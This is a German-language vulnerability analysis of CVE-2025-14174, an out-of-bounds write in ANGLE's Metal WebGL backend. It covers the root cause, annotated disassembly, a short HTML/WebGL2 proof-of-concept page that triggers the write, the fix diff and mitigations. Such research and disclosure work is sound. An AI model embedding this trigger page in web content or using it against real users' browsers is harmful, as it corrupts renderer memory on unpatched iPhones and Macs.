
Analyse und PoC für CVE-2025-14174 - ANGLE Metal OOB write (iOS Safari, macOS Chrome)
Technische Analyse und Proof-of-Concept für CVE-2025-14174
| CVE | CVE-2025-14174 |
| Schweregrad | Hoch |
| Exploited ITW | Ja – gezielte Angriffe auf iOS < 26 |
| Betroffen | iOS Safari, macOS Chrome/Chromium/Electron (nicht macOS Safari) |
| Status | Gepatched in ANGLE Commit 95a32cb |
| Credit | Apple, Google Threat Analysis Group |
Laut Apple wurde CVE-2025-14174 als Teil eines „extrem ausgeklügelten Angriffs gegen bestimmte gezielte Personen“ auf iOS-Versionen vor iOS 26 ausgenutzt.
Die Angriffskette umfasste:
Eine Out-of-Bounds (OOB)-Schreibschwachstelle existiert im Metal-Backend von ANGLE beim Hochladen von Tiefentexturen über einen Staging-Buffer. Die Größe des Staging-Buffers wird unter Verwendung von GL_UNPACK_IMAGE_HEIGHT anstelle der tatsächlichen Texturhöhe berechnet. Wenn UNPACK_IMAGE_HEIGHT < height ist, alloziert ANGLE einen zu kleinen Buffer und schreibt anschließend height Zeilen hinein, was zu einer GPU-Speicherverfälschung im Renderer-Prozess führt.
Diese Schwachstelle betrifft Anwendungen, die das Metal-Backend von ANGLE für WebGL verwenden:
iOS Safari ist betroffen. Auf iOS verwendet WebKit ANGLE als sein WebGL-Backend, was Safari auf iPhone und iPad angreifbar macht.
macOS Safari ist NICHT betroffen. Auf macOS verwendet Safari WebKits eigene native WebGL-Implementierung, die direkt mit Metal interagiert und ANGLE vollständig umgeht.
macOS Chrome ist betroffen. Google Chrome, das unter macOS 26.1 lief, schien während Tests angreifbar, da es ANGLEs Metal-Backend für WebGL verwendet.
Der anfällige Codepfad existiert in ANGLEs TextureMtl-Klasse (setSubImageImpl / setPerSliceSubImage / SaturateDepth).
| Schweregrad | Beschreibung |
|---|---|
| Bestätigt | GPU/Metal-Backend schreibt über das Ende des Staging-Buffers hinaus |
Wesentliche Merkmale:
NO_ERROR zurück)Im D32F-Tiefentextur-Uploadpfad berechnet ANGLE pixelsDepthPitch aus GL_UNPACK_IMAGE_HEIGHT und verwendet diesen Wert zur Größenermittlung des Staging-MTLBuffer. Die nachfolgende Compute-Dispatch (Tiefensättigung) verwendet jedoch die tatsächliche Texturhöhe für die Operation, was zu einem OOB-Schreibzugriff führt, wenn die Parameter abweichen.
Für width=1, height=512, UNPACK_IMAGE_HEIGHT=128, DEPTH_COMPONENT32F:
Alle folgenden müssen zutreffen:
DEPTH_COMPONENT32F (bestätigt; andere Tiefenformate könnten ebenfalls betroffen sein, sind aber nicht getestet)PIXEL_UNPACK_BUFFER gebundenGL_UNPACK_IMAGE_HEIGHT auf einen Wert kleiner als die tatsächliche Texturhöhe gesetztGL_UNPACK_IMAGE_HEIGHT ist laut GL-Spezifikation für 3D/Array-Textur-Uploads vorgesehen, nicht für 2D-Texturen. Für TEXTURE_2D:
UNPACK_IMAGE_HEIGHT < height für 2D-Texturen nicht abWebGL API
├── gl.pixelStorei(UNPACK_IMAGE_HEIGHT, small_value)
├── gl.bindBuffer(PIXEL_UNPACK_BUFFER, pbo)
└── gl.texImage2D(TEXTURE_2D, 0, DEPTH_COMPONENT32F, w, h, ...)
│
▼
ANGLE (Metal Backend)
├── TextureMtl::setImageImpl
│ └── TextureMtl::setSubImageImpl
│ └── Berechnet pixelsDepthPitch = rowPitch × UNPACK_IMAGE_HEIGHT
│
├── TextureMtl::setPerSliceSubImage
│ └── mtl::Buffer::MakeBufferWithStorageMode(context, 0, pixelsDepthPitch, ...) ← ZU KLEIN
│
└── SaturateDepth
├── getComputeCommandEncoder()
├── setBuffer(stagingBuffer, index=2)
└── dispatchThreads(MTLSize{width, actualHeight}) ← VERWENDET ECHTE HÖHE
; setSubImageImpl - berechne zu kleinen depthPitch
0x272fa90f4: ldr w8, [x25, #0x10] ; Lade UNPACK_IMAGE_HEIGHT
0x272fa9100: umull x3, w2, w8 ; depthPitch = rowPitch * UNPACK_IMAGE_HEIGHT
; setPerSliceSubImage - rufe MakeBufferWithStorageMode mit zu kleinem depthPitch auf
0x272fac5bc: mov x2, x19 ; x2 = Größe (zu kleiner depthPitch)
0x272fac5c4: bl #0x272ef19bc ; rufe MakeBufferWithStorageMode auf
; setSubImageImpl - berechne zu kleinen depthPitch
0x22c6d11c0: ldr w8, [x25, #0x10] ; Lade UNPACK_IMAGE_HEIGHT
0x22c6d11cc: umull x3, w2, w8 ; depthPitch = rowPitch * UNPACK_IMAGE_HEIGHT
; setPerSliceSubImage - rufe MakeBufferWithStorageMode mit zu kleinem depthPitch auf
0x22c6d461c: ldr x20, [sp, #0x48] ; Lade depthPitch vom Stack
0x22c6d4628: bl MakeBufferWithStorageMode
Die SaturateDepth-Funktion dispatcht anschließend einen Metal-Compute-Shader unter Verwendung der tatsächlichen Texturdimensionen und schreibt über den zu kleinen Staging-Buffer hinaus.
<!DOCTYPE html>
<html>
<head><title>CVE-2025-14174 PoC</title></head>
<body>
<canvas id="c" width="1" height="1"></canvas>
<script>
const gl = document.getElementById('c').getContext('webgl2');
if (!gl) throw new Error('WebGL2 nicht unterstützt');
const width = 256, height = 256;
const unpackHeight = 16; // << kleiner als die tatsächliche Höhe
// PBO mit Tiefendaten erstellen
const pbo = gl.createBuffer();
gl.bindBuffer(gl.PIXEL_UNPACK_BUFFER, pbo);
const data = new Float32Array(width * height);
gl.bufferData(gl.PIXEL_UNPACK_BUFFER, data, gl.STATIC_DRAW);
// Den abweichenden Parameter setzen
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, unpackHeight);
// Tiefentextur hochladen – löst OOB-Schreibzugriff aus
const tex = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, tex);
gl.texImage2D(
gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
width, height, 0,
gl.DEPTH_COMPONENT, gl.FLOAT, 0
);
// Auf Fehler prüfen (gibt typischerweise NO_ERROR trotz OOB zurück)
const err = gl.getError();
console.log('gl.getError():', err === gl.NO_ERROR ? 'NO_ERROR' : err);
</script>
</body>
</html>
Erwartetes Ergebnis auf anfälligen Systemen: gl.getError() gibt NO_ERROR zurück, obwohl der OOB-Schreibzugriff im GPU-Prozess auftritt.
ANGLE Commit 95a32cb korrigiert die Allokation des Staging-Buffers, um die tatsächlichen Texturdimensionen zu verwenden:
// VORHER (anfällig)
ANGLE_TRY(mtl::Buffer::MakeBuffer(contextMtl, pixelsDepthPitch, nullptr, &stagingBuffer));
// NACHHER (behoben)
size_t imageSize = pixelsRowPitch * mtlArea.size.height;
ANGLE_TRY(mtl::Buffer::MakeBuffer(contextMtl, imageSize, nullptr, &stagingBuffer));
Zusätzlich wurde die Berechnung von srcBytesPerImage für die Blit-Operation korrigiert:
size_t srcBytesPerImage = mtlArea.size.depth > 1 ? pixelsDepthPitch : 0;
Diese Schwachstelle ist aus JavaScript schwer zu erkennen:
NO_ERROR zurück, selbst wenn der Fehler ausgelöst wird| Ansatz | Beschreibung |
|---|---|
| Aktualisieren | Plattform-Updates mit dem ANGLE-Fix anwenden |
| Workaround | Vermeiden, UNPACK_IMAGE_HEIGHT kleiner als die tatsächliche Höhe für Tiefentexturen zu setzen |
Schwachstellenentdeckung: Apple, Google Threat Analysis Group
Technische Analyse: Diese Analyse dokumentiert unabhängige Forschung und Reverse Engineering der Schwachstelle.
Analyse durchgeführt im Rahmen des SpiderWebKit-Sicherheitsforschungsprojekts.
| Plattform | Software | Betroffen | Anmerkungen |
|---|
| iOS | Safari | Ja | WebKit auf iOS verwendet ANGLE Metal für WebGL |
| macOS | Chrome / Chromium | Ja | Verwendet ANGLE Metal Backend |
| macOS | Electron Apps | Ja | Verwendet Chromiums ANGLE-Implementierung |
| macOS | Safari | Nein | Verwendet WebKits nativem Metal WebGL, nicht ANGLE |
| Bestätigt | Reproduzierbar über WebGL2 + PBO + DEPTH_COMPONENT32F |
| Wahrscheinlich | GPU-Prozess-Absturz oder Kontextverlust unter Speicherdruck |
| Theoretisch | Ressourcenübergreifende Verfälschung im GPU-Speicher (nicht demonstriert) |
| Parameter | Berechnung | Wert |
|---|
| Zeilenabstand | width * sizeof(float) | 4 Bytes |
| Staging-Buffer (alloziert) | rowPitch * UNPACK_IMAGE_HEIGHT | 512 Bytes |
| Compute-Dispatch (geschrieben) | rowPitch * actualHeight | 2048 Bytes |
| OOB-Schreibzugriff | 2048 - 512 | 1536 Bytes |
| Funktion | Adresse | Rolle |
|---|
setSubImageImpl | 0x272fa9028 | Berechnet zu kleinen depthPitch |
setPerSliceSubImage | 0x272fac240 | Alloziert zu kleinen Staging-Buffer |
MakeBufferWithStorageMode | 0x272ef19bc | Erstellt MTLBuffer mit falscher Größe |
SaturateDepth | 0x272facfa4 | Dispatch Compute mit tatsächlichen Dimensionen |
| Funktion | Adresse | Rolle |
|---|
setSubImageImpl | 0x22c6d10f4 | Berechnet zu kleinen depthPitch |
setPerSliceSubImage | 0x22c6d4398 | Alloziert zu kleinen Staging-Buffer |
MakeBufferWithStorageMode | 0x22c619490 | Erstellt MTLBuffer mit falscher Größe |
SaturateDepth | 0x22c6d5144 | Dispatch Compute mit tatsächlichen Dimensionen |
| Defense-in-Depth | Verwendung von Uploads mit fester Größe, bei denen UNPACK_IMAGE_HEIGHT == height |